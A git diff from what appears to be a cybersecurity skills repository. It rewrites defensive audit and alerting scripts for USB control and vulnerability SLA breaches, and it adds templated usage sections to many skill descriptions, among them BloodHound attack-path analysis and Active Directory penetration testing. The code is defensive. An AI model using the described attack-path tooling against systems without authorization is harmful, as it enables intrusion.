enrichment") - parser.add_argument("--no-ssl", action="store_true") - parser.add_argument("--output", default="misp_report.json") - args = parser.parse_args() - - misp = connect_misp(args.misp_url, args.misp_key, ssl=not args.no_ssl) - event = create_threat_event(misp, args.event_info, tags=["tlp:green", "type:osint"]) - event_id = event.id - - feed_counts = {} - if args.ingest_feeds: - feed_counts["urlhaus"] = ingest_urlhaus_feed(misp, event_id) - feed_counts["feodotracker"] = ingest_feodotracker_feed(misp, event_id) - - enriched = 0 - if args.vt_key: - enriched = enrich_event_iocs(misp, event_id, args.vt_key) - - report = generate_report(event_id, feed_counts, enriched, []) - with open(args.output, "w") as f: - json.dump(report, f, indent=2) - logger.info("Report saved to %s", args.output) - - -if __name__ == "__main__": - main() diff --git a/skills/implementing-usb-device-control-policy/scripts/agent.py b/skills/implementing-usb-device-control-policy/scripts/agent.py index e18a4417..153c86fe 100644 --- a/skills/implementing-usb-device-control-policy/scripts/agent.py +++ b/skills/implementing-usb-device-control-policy/scripts/agent.py @@ -1,61 +1,233 @@ #!/usr/bin/env python3 -"""USB device control policy audit.""" -import argparse, json +"""USB device control policy audit agent. + +Audits USB device control policies on Linux and Windows systems by +checking udev rules, USBGuard configuration, Windows Group Policy +settings, and connected device history. Reports unauthorized or +unwhitelisted USB devices. +""" +import argparse +import json +import os +import subprocess +import sys from datetime import datetime, timezone -try: - import requests -except ImportError: - requests = None -def audit_config(target, token): + +def audit_linux_usbguard(): + """Audit USBGuard configuration and rules on Linux.""" findings = [] - if not requests: return [{"error": "requests required"}] - headers = {"Authorization": f"Bearer {token}"} - try: - resp = requests.get(f"{target}/api/v1/status", headers=headers, timeout=10) - if resp.status_code == 200: - data = resp.json() - if not data.get("enabled", True): - findings.append({"check": "Service Status", "status": "DISABLED", "severity": "CRITICAL"}) - elif resp.status_code == 401: - findings.append({"check": "Authentication", "status": "UNAUTHORIZED", "severity": "HIGH"}) - except requests.RequestException as e: - findings.append({"error": str(e)}) + print("[*] Auditing USBGuard configuration...") + + # Check if USBGuard is installed and running + result = subprocess.run( + ["systemctl", "is-active", "usbguard"], + capture_output=True, text=True, timeout=10, + ) + if result.stdout.strip() == "active": + findings.append({"check": "USBGuard service", "status": "PASS", + "severity": "INFO", "detail": "USBGuard is running"}) + else: + findings.append({"check": "USBGuard service", "status": "FAIL", + "severity": "HIGH", "detail": "USBGuard is not running"}) + return findings + + # List current USB devices and their authorization + result = subprocess.run( + ["usbguard", "list-devices"], + capture_output=True, text=True, timeout=15, + ) + if result.returncode == 0: + devices = [] + for line in result.stdout.strip().splitlines(): + parts = line.split() + if len(parts) >= 3: + dev_id = parts[0].rstrip(":") + policy = parts[1] + name = " ".join(parts[2:]) + devices.append({"id": dev_id, "policy": policy, "name": name}) + if policy == "allow": + findings.append({"check": f"USB Device {dev_id}", "status": "INFO", + "severity": "INFO", "detail": f"Allowed: {name}"}) + elif policy == "block": + findings.append({"check": f"USB Device {dev_id}", "status": "BLOCKED", + "severity": "INFO", "detail": f"Blocked: {name}"}) + + # Check default policy + result = subprocess.run( + ["usbguard", "get-parameter", "ImplicitPolicyTarget"], + capture_output=True, text=True, timeout=10, + ) + if result.returncode == 0: + policy = result.stdout.strip() + if policy == "block": + findings.append({"check": "Default USB policy", "status": "PASS", + "severity": "INFO", "detail": "Default: block (deny by default)"}) + else: + findings.append({"check": "Default USB policy", "status": "FAIL", + "severity": "HIGH", + "detail": f"Default: {policy} (should be 'block')"}) + + # List rules + result = subprocess.run( + ["usbguard", "list-rules"], + capture_output=True, text=True, timeout=10, + ) + if result.returncode == 0: + rules = result.stdout.strip().splitlines() + findings.append({"check": "USBGuard rules", "status": "INFO", + "severity": "INFO", "detail": f"{len(rules)} rules configured"}) + return findings -def check_compliance(target, token): + +def audit_linux_udev(): + """Check for USB-related udev rules on Linux.""" findings = [] - if not requests: return [] - headers = {"Authorization": f"Bearer {token}"} - try: - resp = requests.get(f"{target}/api/v1/compliance", headers=headers, timeout=10) - if resp.status_code == 200: - for item in resp.json().get("checks", []): - if item.get("status") != "PASS": - findings.append({"check": item.get("name"), "status": item.get("status"), - "severity": item.get("severity", "MEDIUM")}) - except requests.RequestException: - pass + udev_dirs = ["/etc/udev/rules.d", "/lib/udev/rules.d", "/usr/lib/udev/rules.d"] + usb_rules_found = False + + for udev_dir in udev_dirs: + if not os.path.isdir(udev_dir): + continue + for fname in os.listdir(udev_dir): + fpath = os.path.join(udev_dir, fname) + if not os.path.isfile(fpath): + continue + try: + with open(fpath, "r") as f: + content = f.read() + if "usb" in content.lower() and ("authorize" in content.lower() or "block" in content.lower()): + usb_rules_found = True + findings.append({"check": f"udev USB rule: {fname}", "status": "INFO", + "severity": "INFO", "detail": fpath}) + except (IOError, PermissionError): + pass + + if not usb_rules_found: + findings.append({"check": "udev USB rules", "status": "WARN", + "severity": "MEDIUM", "detail": "No USB-specific udev rules found"}) return findings + +def list_connected_usb_devices(): + """List currently connected USB devices.""" + devices = [] + if sys.platform == "win32": + ps_cmd = ( + "Get-PnpDevice -Class USB | " + "Select-Object InstanceId, FriendlyName, Status, Class | " + "ConvertTo-Json" + ) + result = subprocess.run( + ["powershell", "-Command", ps_cmd], + capture_output=True, text=True, timeout=30, + ) + if result.returncode == 0 and result.stdout.strip(): + try: + raw = json.loads(result.stdout) + if isinstance(raw, dict): + raw = [raw] + for dev in raw: + devices.append({ + "instance_id": dev.get("InstanceId", ""), + "name": dev.get("FriendlyName", "Unknown"), + "status": dev.get("Status", ""), + "class": dev.get("Class", "USB"), + }) + except json.JSONDecodeError: + pass + else: + result = subprocess.run( + ["lsusb"], + capture_output=True, text=True, timeout=10, + ) + if result.returncode == 0: + for line in result.stdout.strip().splitlines(): + parts = line.split("ID ") + if len(parts) >= 2: + devices.append({ + "bus_info": parts[0].strip(), + "id": parts[1].split()[0] if parts[1].split() else "", + "name": " ".join(parts[1].split()[1:]) if len(parts[1].split()) > 1 else "Unknown", + }) + + return devices + + +def format_summary(findings, devices): + """Print audit summary.""" + print(f"\n{'='*60}") + print(f" USB Device Control Policy Audit") + print(f"{'='*60}") + print(f" Connected Devices: {len(devices)}") + print(f" Policy Findings : {len(findings)}") + + severity_counts = {} + for f in findings: + sev = f.get("severity", "INFO") + severity_counts[sev] = severity_counts.get(sev, 0) + 1 + + pass_count = sum(1 for f in findings if f["status"] == "PASS") + fail_count = sum(1 for f in findings if f["status"] == "FAIL") + print(f" Passed : {pass_count}") + print(f" Failed : {fail_count}") + + if devices: + print(f"\n Connected USB Devices:") + for d in devices: + print(f" {d.get('name', 'Unknown'):40s} | {d.get('id', d.get('instance_id', 'N/A'))}") + + if findings: + print(f"\n Policy Checks:") + for f in findings: + icon = "OK" if f["status"] == "PASS" else "!!" if f["status"] == "FAIL" else "--" + print(f" [{icon}] {f['check']}: {f.get('detail', '')[:50]}") + + return severity_counts + + def main(): - p = argparse.ArgumentParser(description="USB device control policy audit") - p.add_argument("--target", required=True, help="Target URL") - p.add_argument("--token", required=True, help="API token") - p.add_argument("--output", "-o", help="Output JSON report") - p.add_argument("--verbose", "-v", action="store_true") - a = p.parse_args() - print("[*] USB device control policy audit") - report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": []} - report["findings"].extend(audit_config(a.target, a.token)) - report["findings"].extend(check_compliance(a.target, a.token)) - high = sum(1 for f in report["findings"] if f.get("severity") in ("HIGH", "CRITICAL")) - report["risk_level"] = "HIGH" if high else "MEDIUM" if report["findings"] else "LOW" - print(f"[*] {len(report['findings'])} findings, risk: {report['risk_level']}") - if a.output: - with open(a.output, "w") as f: json.dump(report, f, indent=2) - else: + parser = argparse.ArgumentParser(description="USB device control policy audit agent") + parser.add_argument("--list-devices", action="store_true", help="List connected USB devices") + parser.add_argument("--output", "-o", help="Output JSON report") + parser.add_argument("--verbose", "-v", action="store_true") + args = parser.parse_args() + + findings = [] + devices = list_connected_usb_devices() + + if sys.platform != "win32": + findings.extend(audit_linux_usbguard()) + findings.extend(audit_linux_udev()) + + if not findings: + findings.append({"check": "USB control policy", "status": "WARN", + "severity": "HIGH", + "detail": "No USB device control mechanism detected"}) + + severity_counts = format_summary(findings, devices) + + report = { + "timestamp": datetime.now(timezone.utc).isoformat(), + "tool": "USB Device Control Audit", + "devices": devices, + "findings": findings, + "severity_counts": severity_counts, + "risk_level": ( + "HIGH" if severity_counts.get("HIGH", 0) > 0 + else "MEDIUM" if severity_counts.get("MEDIUM", 0) > 0 + else "LOW" + ), + } + + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"\n[+] Report saved to {args.output}") + elif args.verbose: print(json.dumps(report, indent=2)) + if __name__ == "__main__": main() diff --git a/skills/implementing-velociraptor-for-ir-collection/SKILL.md b/skills/implementing-velociraptor-for-ir-collection/SKILL.md index c6be9a23..23671ce2 100644 --- a/skills/implementing-velociraptor-for-ir-collection/SKILL.md +++ b/skills/implementing-velociraptor-for-ir-collection/SKILL.md @@ -15,6 +15,21 @@ license: Apache-2.0 Velociraptor is an advanced open-source endpoint monitoring, digital forensics, and incident response platform developed by Rapid7. It uses the Velociraptor Query Language (VQL) to create custom artifacts that collect, query, and monitor almost any aspect of an endpoint. Velociraptor enables incident response teams to rapidly collect and examine forensic artifacts from across a network, supporting large-scale deployments with minimal performance impact. The client-server architecture with Fleetspeak communication enables real-time data collection from thousands of endpoints simultaneously, with offline endpoints picking up hunts when they reconnect. + +## When to Use + +- When deploying or configuring implementing velociraptor for ir collection capabilities in your environment +- When establishing security controls aligned to compliance requirements +- When building or improving security architecture for this domain +- When conducting security assessments that require this implementation + +## Prerequisites + +- Familiarity with incident response concepts and tools +- Access to a test or lab environment for safe execution +- Python 3.8+ with required dependencies installed +- Appropriate authorization for any testing activities + ## Architecture ### Components diff --git a/skills/implementing-vulnerability-sla-breach-alerting/scripts/agent.py b/skills/implementing-vulnerability-sla-breach-alerting/scripts/agent.py index d5cf3d53..fbf779f4 100644 --- a/skills/implementing-vulnerability-sla-breach-alerting/scripts/agent.py +++ b/skills/implementing-vulnerability-sla-breach-alerting/scripts/agent.py @@ -1,61 +1,264 @@ #!/usr/bin/env python3 -"""Vulnerability SLA breach alerting agent.""" -import argparse, json -from datetime import datetime, timezone +"""Vulnerability SLA breach alerting agent. + +Monitors vulnerability remediation timelines and generates alerts when +SLA breaches occur or are imminent. Supports webhook notifications +(Slack, Teams, PagerDuty), email alerts, and escalation workflows. +""" +import argparse +import json +import os +import sys +from datetime import datetime, timezone, timedelta + try: import requests except ImportError: requests = None -def audit_config(target, token): - findings = [] - if not requests: return [{"error": "requests required"}] - headers = {"Authorization": f"Bearer {token}"} - try: - resp = requests.get(f"{target}/api/v1/status", headers=headers, timeout=10) - if resp.status_code == 200: - data = resp.json() - if not data.get("enabled", True): - findings.append({"check": "Service Status", "status": "DISABLED", "severity": "CRITICAL"}) - elif resp.status_code == 401: - findings.append({"check": "Authentication", "status": "UNAUTHORIZED", "severity": "HIGH"}) - except requests.RequestException as e: - findings.append({"error": str(e)}) - return findings -def check_compliance(target, token): - findings = [] - if not requests: return [] - headers = {"Authorization": f"Bearer {token}"} - try: - resp = requests.get(f"{target}/api/v1/compliance", headers=headers, timeout=10) - if resp.status_code == 200: - for item in resp.json().get("checks", []): - if item.get("status") != "PASS": - findings.append({"check": item.get("name"), "status": item.get("status"), - "severity": item.get("severity", "MEDIUM")}) - except requests.RequestException: - pass - return findings +DEFAULT_SLA_DAYS = {"CRITICAL": 7, "HIGH": 30, "MEDIUM": 90, "LOW": 180} + + +def load_vulnerabilities(source_path): + """Load vulnerability data from JSON file.""" + with open(source_path, "r") as f: + data = json.load(f) + if isinstance(data, list): + return data + return data.get("vulnerabilities", data.get("findings", [])) + + +def check_sla_breaches(vulns, sla_days=None, warn_days_before=7): + """Check for SLA breaches and upcoming deadlines.""" + if sla_days is None: + sla_days = DEFAULT_SLA_DAYS + + now = datetime.now(timezone.utc) + breaches = [] + warnings = [] + + for vuln in vulns: + status = (vuln.get("status") or vuln.get("state") or "open").lower() + if status not in ("open", "new", "active", "unresolved"): + continue + + severity = (vuln.get("severity") or "MEDIUM").upper() + target_days = sla_days.get(severity, 90) + + disc_str = (vuln.get("discovered_date") or vuln.get("first_found") or + vuln.get("discovered") or "") + try: + if "T" in disc_str: + discovered = datetime.fromisoformat(disc_str.replace("Z", "+00:00")) + elif disc_str: + discovered = datetime.strptime(disc_str[:10], "%Y-%m-%d").replace(tzinfo=timezone.utc) + else: + continue + except (ValueError, TypeError): + continue + + deadline = discovered + timedelta(days=target_days) + days_remaining = (deadline - now).days + + vuln_id = vuln.get("id") or vuln.get("cve_id") or vuln.get("vulnerability_id") or "unknown" + asset = vuln.get("asset") or vuln.get("host") or vuln.get("ip") or "unknown" + title = vuln.get("title") or vuln.get("name") or "Unknown" + + alert_entry = { + "id": vuln_id, + "severity": severity, + "asset": asset, + "title": title[:80], + "discovered": disc_str[:10], + "deadline": deadline.isoformat()[:10], + "days_remaining": days_remaining, + "sla_target_days": target_days, + } + + if days_remaining < 0: + alert_entry["alert_type"] = "BREACH" + alert_entry["overdue_days"] = abs(days_remaining) + breaches.append(alert_entry) + elif days_remaining <= warn_days_before: + alert_entry["alert_type"] = "WARNING" + warnings.append(alert_entry) + + breaches.sort(key=lambda x: -x.get("overdue_days", 0)) + warnings.sort(key=lambda x: x.get("days_remaining", 999)) + return breaches, warnings + + +def send_slack_alert(webhook_url, breaches, warnings): + """Send SLA breach alert to Slack via webhook.""" + if not requests: + print("[!] requests library required for Slack alerts", file=sys.stderr) + return False + + blocks = [ + {"type": "header", "text": {"type": "plain_text", + "text": f"Vulnerability SLA Alert - {len(breaches)} Breaches, {len(warnings)} Warnings"}}, + ] + + if breaches: + breach_text = "*SLA BREACHES (Immediate Action Required):*\n" + for b in breaches[:10]: + breach_text += (f"- [{b['severity']}] `{b['id']}` on {b['asset']} - " + f"*{b['overdue_days']}d overdue*\n") + blocks.append({"type": "section", "text": {"type": "mrkdwn", "text": breach_text}}) + + if warnings: + warn_text = "*Approaching SLA Deadline:*\n" + for w in warnings[:10]: + warn_text += (f"- [{w['severity']}] `{w['id']}` on {w['asset']} - " + f"{w['days_remaining']}d remaining\n") + blocks.append({"type": "section", "text": {"type": "mrkdwn", "text": warn_text}}) + + payload = {"blocks": blocks} + resp = requests.post(webhook_url, json=payload, timeout=15) + if resp.status_code == 200: + print(f"[+] Slack alert sent successfully") + return True + else: + print(f"[!] Slack alert failed: {resp.status_code}", file=sys.stderr) + return False + + +def send_teams_alert(webhook_url, breaches, warnings): + """Send SLA breach alert to Microsoft Teams via webhook.""" + if not requests: + return False + + facts = [] + for b in breaches[:5]: + facts.append({"name": f"[BREACH] {b['id']}", "value": f"{b['severity']} - {b['overdue_days']}d overdue on {b['asset']}"}) + for w in warnings[:5]: + facts.append({"name": f"[WARNING] {w['id']}", "value": f"{w['severity']} - {w['days_remaining']}d left on {w['asset']}"}) + + payload = { + "@type": "MessageCard", + "themeColor": "FF0000" if breaches else "FFA500", + "summary": f"SLA Alert: {len(breaches)} breaches, {len(warnings)} warnings", + "sections": [{ + "activityTitle": "Vulnerability SLA Alert", + "facts": facts, + }], + } + resp = requests.post(webhook_url, json=payload, timeout=15) + return resp.status_code == 200 + + +def send_pagerduty_alert(routing_key, breaches): + """Send PagerDuty incident for critical SLA breaches.""" + if not requests or not breaches: + return False + + critical_breaches = [b for b in breaches if b["severity"] == "CRITICAL"] + if not critical_breaches: + return False + + payload = { + "routing_key": routing_key, + "event_action": "trigger", + "payload": { + "summary": f"{len(critical_breaches)} CRITICAL vulnerability SLA breaches", + "severity": "critical", + "source": "vulnerability-sla-agent", + "custom_details": { + "breaches": critical_breaches[:5], + "total_critical_breaches": len(critical_breaches), + }, + }, + } + resp = requests.post( + "https://events.pagerduty.com/v2/enqueue", + json=payload, timeout=15, + ) + if resp.status_code == 202: + print(f"[+] PagerDuty incident created") + return True + return False + + +def format_summary(breaches, warnings): + """Print alert summary.""" + print(f"\n{'='*60}") + print(f" Vulnerability SLA Breach Alert Report") + print(f"{'='*60}") + print(f" SLA Breaches : {len(breaches)}") + print(f" SLA Warnings : {len(warnings)}") + + if breaches: + critical = sum(1 for b in breaches if b["severity"] == "CRITICAL") + high = sum(1 for b in breaches if b["severity"] == "HIGH") + print(f" Critical breaches: {critical}") + print(f" High breaches : {high}") + + print(f"\n Breached Vulnerabilities:") + for b in breaches[:15]: + print(f" [{b['severity']:8s}] {b['id']:20s} | {b['asset']:20s} | " + f"{b['overdue_days']}d overdue (deadline: {b['deadline']})") + + if warnings: + print(f"\n Approaching Deadline:") + for w in warnings[:10]: + print(f" [{w['severity']:8s}] {w['id']:20s} | {w['asset']:20s} | " + f"{w['days_remaining']}d remaining") + def main(): - p = argparse.ArgumentParser(description="Vulnerability SLA breach alerting agent") - p.add_argument("--target", required=True, help="Target URL") - p.add_argument("--token", required=True, help="API token") - p.add_argument("--output", "-o", help="Output JSON report") - p.add_argument("--verbose", "-v", action="store_true") - a = p.parse_args() - print("[*] Vulnerability SLA breach alerting agent") - report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": []} - report["findings"].extend(audit_config(a.target, a.token)) - report["findings"].extend(check_compliance(a.target, a.token)) - high = sum(1 for f in report["findings"] if f.get("severity") in ("HIGH", "CRITICAL")) - report["risk_level"] = "HIGH" if high else "MEDIUM" if report["findings"] else "LOW" - print(f"[*] {len(report['findings'])} findings, risk: {report['risk_level']}") - if a.output: - with open(a.output, "w") as f: json.dump(report, f, indent=2) - else: + parser = argparse.ArgumentParser(description="Vulnerability SLA breach alerting agent") + parser.add_argument("--source", required=True, help="Vulnerability data JSON file") + parser.add_argument("--sla-critical", type=int, default=7) + parser.add_argument("--sla-high", type=int, default=30) + parser.add_argument("--sla-medium", type=int, default=90) + parser.add_argument("--sla-low", type=int, default=180) + parser.add_argument("--warn-days", type=int, default=7, help="Warn N days before deadline") + parser.add_argument("--slack-webhook", help="Slack webhook URL for alerts") + parser.add_argument("--teams-webhook", help="Teams webhook URL for alerts") + parser.add_argument("--pagerduty-key", help="PagerDuty routing key for critical breaches") + parser.add_argument("--output", "-o", help="Output JSON report") + parser.add_argument("--verbose", "-v", action="store_true") + args = parser.parse_args() + + sla_days = { + "CRITICAL": args.sla_critical, "HIGH": args.sla_high, + "MEDIUM": args.sla_medium, "LOW": args.sla_low, + } + + vulns = load_vulnerabilities(args.source) + print(f"[*] Loaded {len(vulns)} vulnerabilities") + + breaches, warnings = check_sla_breaches(vulns, sla_days, args.warn_days) + format_summary(breaches, warnings) + + alerts_sent = [] + if args.slack_webhook and (breaches or warnings): + if send_slack_alert(args.slack_webhook, breaches, warnings): + alerts_sent.append("slack") + if args.teams_webhook and (breaches or warnings): + if send_teams_alert(args.teams_webhook, breaches, warnings): + alerts_sent.append("teams") + if args.pagerduty_key and breaches: + if send_pagerduty_alert(args.pagerduty_key, breaches): + alerts_sent.append("pagerduty") + + report = { + "timestamp": datetime.now(timezone.utc).isoformat(), + "tool": "SLA Breach Alerting", + "sla_targets": sla_days, + "breaches": breaches, + "warnings": warnings, + "alerts_sent": alerts_sent, + } + + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"\n[+] Report saved to {args.output}") + elif args.verbose: print(json.dumps(report, indent=2)) + if __name__ == "__main__": main() diff --git a/skills/implementing-zero-knowledge-proof-for-authentication/SKILL.md b/skills/implementing-zero-knowledge-proof-for-authentication/SKILL.md index 81c9b3eb..1e3939ed 100644 --- a/skills/implementing-zero-knowledge-proof-for-authentication/SKILL.md +++ b/skills/implementing-zero-knowledge-proof-for-authentication/SKILL.md @@ -14,6 +14,21 @@ license: Apache-2.0 Zero-Knowledge Proofs (ZKPs) allow a prover to demonstrate knowledge of a secret (such as a password or private key) without revealing the secret itself. This skill implements the Schnorr identification protocol and a simplified ZKPP (Zero-Knowledge Password Proof) using the discrete logarithm problem, enabling authentication where the server never learns the user's password. + +## When to Use + +- When deploying or configuring implementing zero knowledge proof for authentication capabilities in your environment +- When establishing security controls aligned to compliance requirements +- When building or improving security architecture for this domain +- When conducting security assessments that require this implementation + +## Prerequisites + +- Familiarity with cryptography concepts and tools +- Access to a test or lab environment for safe execution +- Python 3.8+ with required dependencies installed +- Appropriate authorization for any testing activities + ## Objectives - Implement Schnorr's identification protocol for ZKP authentication diff --git a/skills/implementing-zero-trust-dns-with-nextdns/SKILL.md b/skills/implementing-zero-trust-dns-with-nextdns/SKILL.md index a03bb784..4eeab2b1 100644 --- a/skills/implementing-zero-trust-dns-with-nextdns/SKILL.md +++ b/skills/implementing-zero-trust-dns-with-nextdns/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 NextDNS is a cloud-based DNS resolver that provides encrypted DNS resolution (DNS-over-HTTPS and DNS-over-TLS), real-time threat intelligence blocking, ad and tracker filtering, and granular DNS policy enforcement. In a zero trust architecture, DNS is a critical control point -- every network connection begins with a DNS query, making DNS filtering an effective layer for blocking malicious domains, preventing data exfiltration via DNS tunneling, enforcing acceptable use policies, and gaining visibility into all network communications. NextDNS processes queries using threat intelligence feeds containing millions of malicious domains updated in real-time, blocks cryptojacking and phishing domains, detects DNS rebinding attacks, and supports CNAME cloaking protection. For enterprise environments, Microsoft's Zero Trust DNS (ZTDNS) feature on Windows 11 extends this concept by enforcing that endpoints can only resolve domains through approved protected DNS servers. + +## When to Use + +- When deploying or configuring implementing zero trust dns with nextdns capabilities in your environment +- When establishing security controls aligned to compliance requirements +- When building or improving security architecture for this domain +- When conducting security assessments that require this implementation + ## Prerequisites - NextDNS account (free tier: 300,000 queries/month; Pro: unlimited) diff --git a/skills/implementing-zero-trust-with-hashicorp-boundary/SKILL.md b/skills/implementing-zero-trust-with-hashicorp-boundary/SKILL.md index 5026eadf..69550cf9 100644 --- a/skills/implementing-zero-trust-with-hashicorp-boundary/SKILL.md +++ b/skills/implementing-zero-trust-with-hashicorp-boundary/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 HashiCorp Boundary is an identity-aware proxy that provides secure, zero trust access to infrastructure resources without traditional VPNs or direct network access. Boundary operates on a default-deny model -- users start with no access and must be explicitly granted permissions for specific resources. When integrated with HashiCorp Vault, Boundary can dynamically broker credentials, ensuring users never see or manage underlying secrets. This eliminates credential sprawl and enables just-in-time access with automatic credential revocation when sessions end. Boundary supports session recording for audit compliance, OIDC/LDAP authentication, and manages access through a hierarchical scope model of organizations and projects. + +## When to Use + +- When deploying or configuring implementing zero trust with hashicorp boundary capabilities in your environment +- When establishing security controls aligned to compliance requirements +- When building or improving security architecture for this domain +- When conducting security assessments that require this implementation + ## Prerequisites - HashiCorp Boundary server (self-hosted or HCP Boundary) diff --git a/skills/performing-active-directory-bloodhound-analysis/SKILL.md b/skills/performing-active-directory-bloodhound-analysis/SKILL.md index 691581f3..f7c02de6 100644 --- a/skills/performing-active-directory-bloodhound-analysis/SKILL.md +++ b/skills/performing-active-directory-bloodhound-analysis/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 BloodHound is an open-source Active Directory reconnaissance tool that uses graph theory to reveal hidden relationships, attack paths, and privilege escalation opportunities within AD environments. By collecting data with SharpHound (or AzureHound for Azure AD), BloodHound visualizes how an attacker can escalate from a low-privilege user to Domain Admin through chains of misconfigurations, group memberships, ACL abuses, and trust relationships. MITRE ATT&CK classifies BloodHound as software S0521. + +## When to Use + +- When conducting security assessments that involve performing active directory bloodhound analysis +- When following incident response procedures for related security events +- When performing scheduled security testing or auditing activities +- When validating security controls through hands-on testing + ## Prerequisites - Initial foothold on a domain-joined Windows system (or valid domain credentials) diff --git a/skills/performing-active-directory-compromise-investigation/SKILL.md b/skills/performing-active-directory-compromise-investigation/SKILL.md index f97d4f7c..7be05d76 100644 --- a/skills/performing-active-directory-compromise-investigation/SKILL.md +++ b/skills/performing-active-directory-compromise-investigation/SKILL.md @@ -15,6 +15,21 @@ license: Apache-2.0 Active Directory (AD) compromise investigation is a critical incident response capability that focuses on identifying how attackers gained access to domain services, what persistence mechanisms they established, and the scope of credential compromise. Since 88% of breaches involve compromised credentials (Verizon 2025 DBIR), AD is the primary target for enterprise-wide attacks. Investigators must analyze NTDS.dit database integrity, Kerberos ticket-granting activity, Group Policy modifications, replication metadata, and privileged group membership changes to reconstruct the attack chain and determine full compromise scope. + +## When to Use + +- When conducting security assessments that involve performing active directory compromise investigation +- When following incident response procedures for related security events +- When performing scheduled security testing or auditing activities +- When validating security controls through hands-on testing + +## Prerequisites + +- Familiarity with incident response concepts and tools +- Access to a test or lab environment for safe execution +- Python 3.8+ with required dependencies installed +- Appropriate authorization for any testing activities + ## Key Investigation Areas ### 1. NTDS.dit Database Analysis diff --git a/skills/performing-active-directory-penetration-test/SKILL.md b/skills/performing-active-directory-penetration-test/SKILL.md index 68b63cd8..2ecc2caf 100644 --- a/skills/performing-active-directory-penetration-test/SKILL.md +++ b/skills/performing-active-directory-penetration-test/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 Active Directory (AD) penetration testing targets the central identity and access management system used by over 95% of Fortune 500 companies. The test identifies misconfigurations, weak credentials, dangerous delegation settings, vulnerable certificate templates, and attack paths that enable an attacker to escalate from a standard domain user to Domain Admin or Enterprise Admin. + +## When to Use + +- When conducting security assessments that involve performing active directory penetration test +- When following incident response procedures for related security events +- When performing scheduled security testing or auditing activities +- When validating security controls through hands-on testing + ## Prerequisites - Standard domain user credentials (minimum starting point) diff --git a/skills/performing-active-directory-vulnerability-assessment/SKILL.md b/skills/performing-active-directory-vulnerability-assessment/SKILL.md index 0e5bdfaa..fc244234 100644 --- a/skills/performing-active-directory-vulnerability-assessment/SKILL.md +++ b/skills/performing-active-directory-vulnerability-assessment/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 Active Directory (AD) is the primary identity and access management system in most enterprise environments, making it a critical attack target. This skill covers comprehensive AD security assessment using PingCastle for health checks, BloodHound for attack path analysis, and Purple Knight for security posture scoring. These tools identify misconfigurations, excessive privileges, Kerberos weaknesses, and lateral movement opportunities. + +## When to Use + +- When conducting security assessments that involve performing active directory vulnerability assessment +- When following incident response procedures for related security events +- When performing scheduled security testing or auditing activities +- When validating security controls through hands-on testing + ## Prerequisites - Domain-joined workstation or domain admin access for scanning diff --git a/skills/performing-alert-triage-with-elastic-siem/SKILL.md b/skills/performing-alert-triage-with-elastic-siem/SKILL.md index 7689f81e..ebf17b03 100644 --- a/skills/performing-alert-triage-with-elastic-siem/SKILL.md +++ b/skills/performing-alert-triage-with-elastic-siem/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 Alert triage in Elastic Security is the systematic process of reviewing, classifying, and prioritizing security alerts to determine which represent genuine threats. Elastic's AI-driven Attack Discovery feature can triage hundreds of alerts down to discrete attack chains, but skilled analyst triage remains essential. A structured triage workflow typically takes 5-10 minutes per alert cluster using Elastic's built-in tools. + +## When to Use + +- When conducting security assessments that involve performing alert triage with elastic siem +- When following incident response procedures for related security events +- When performing scheduled security testing or auditing activities +- When validating security controls through hands-on testing + ## Prerequisites - Elastic Security deployed (version 8.x or later) diff --git a/skills/performing-authenticated-scan-with-openvas/SKILL.md b/skills/performing-authenticated-scan-with-openvas/SKILL.md index 6257e87b..e0666774 100644 --- a/skills/performing-authenticated-scan-with-openvas/SKILL.md +++ b/skills/performing-authenticated-scan-with-openvas/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 OpenVAS (Open Vulnerability Assessment Scanner) is the scanner component of the Greenbone Vulnerability Management (GVM) framework. Authenticated scans use valid credentials (SSH for Linux, SMB for Windows, ESXi for VMware) to log into target systems, enabling detection of local vulnerabilities, missing patches, and misconfigurations that unauthenticated scans cannot identify. Authenticated scans typically find 10-50x more vulnerabilities than unauthenticated scans. + +## When to Use + +- When conducting security assessments that involve performing authenticated scan with openvas +- When following incident response procedures for related security events +- When performing scheduled security testing or auditing activities +- When validating security controls through hands-on testing + ## Prerequisites - GVM 22.x+ installed (gvmd, openvas-scanner, gsad, ospd-openvas) diff --git a/skills/performing-aws-account-enumeration-with-scout-suite/SKILL.md b/skills/performing-aws-account-enumeration-with-scout-suite/SKILL.md index d2d32e71..968ecb2e 100644 --- a/skills/performing-aws-account-enumeration-with-scout-suite/SKILL.md +++ b/skills/performing-aws-account-enumeration-with-scout-suite/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 ScoutSuite is an open-source multi-cloud security auditing tool developed by NCC Group that enables comprehensive security posture assessment of AWS environments. It queries AWS APIs to gather configuration data across all services, stores results locally, and generates interactive HTML reports highlighting high-risk areas. ScoutSuite is agentless and works by analyzing how cloud resources are configured, accessed, and monitored. + +## When to Use + +- When conducting security assessments that involve performing aws account enumeration with scout suite +- When following incident response procedures for related security events +- When performing scheduled security testing or auditing activities +- When validating security controls through hands-on testing + ## Prerequisites - Python 3.6+ installed diff --git a/skills/performing-cloud-asset-inventory-with-cartography/SKILL.md b/skills/performing-cloud-asset-inventory-with-cartography/SKILL.md index 03b2164a..7adf30fc 100644 --- a/skills/performing-cloud-asset-inventory-with-cartography/SKILL.md +++ b/skills/performing-cloud-asset-inventory-with-cartography/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 Cartography is a CNCF sandbox project (originally created at Lyft) that consolidates infrastructure assets and their relationships into a Neo4j graph database. It queries cloud APIs to discover resources, maps relationships between them, and enables security teams to identify attack paths, generate asset reports, and find areas for security improvement. The graph model reveals hidden connections such as IAM permission chains, network paths, and cross-account trust relationships. + +## When to Use + +- When conducting security assessments that involve performing cloud asset inventory with cartography +- When following incident response procedures for related security events +- When performing scheduled security testing or auditing activities +- When validating security controls through hands-on testing + ## Prerequisites - Python 3.8+ diff --git a/skills/performing-cloud-incident-containment-procedures/SKILL.md 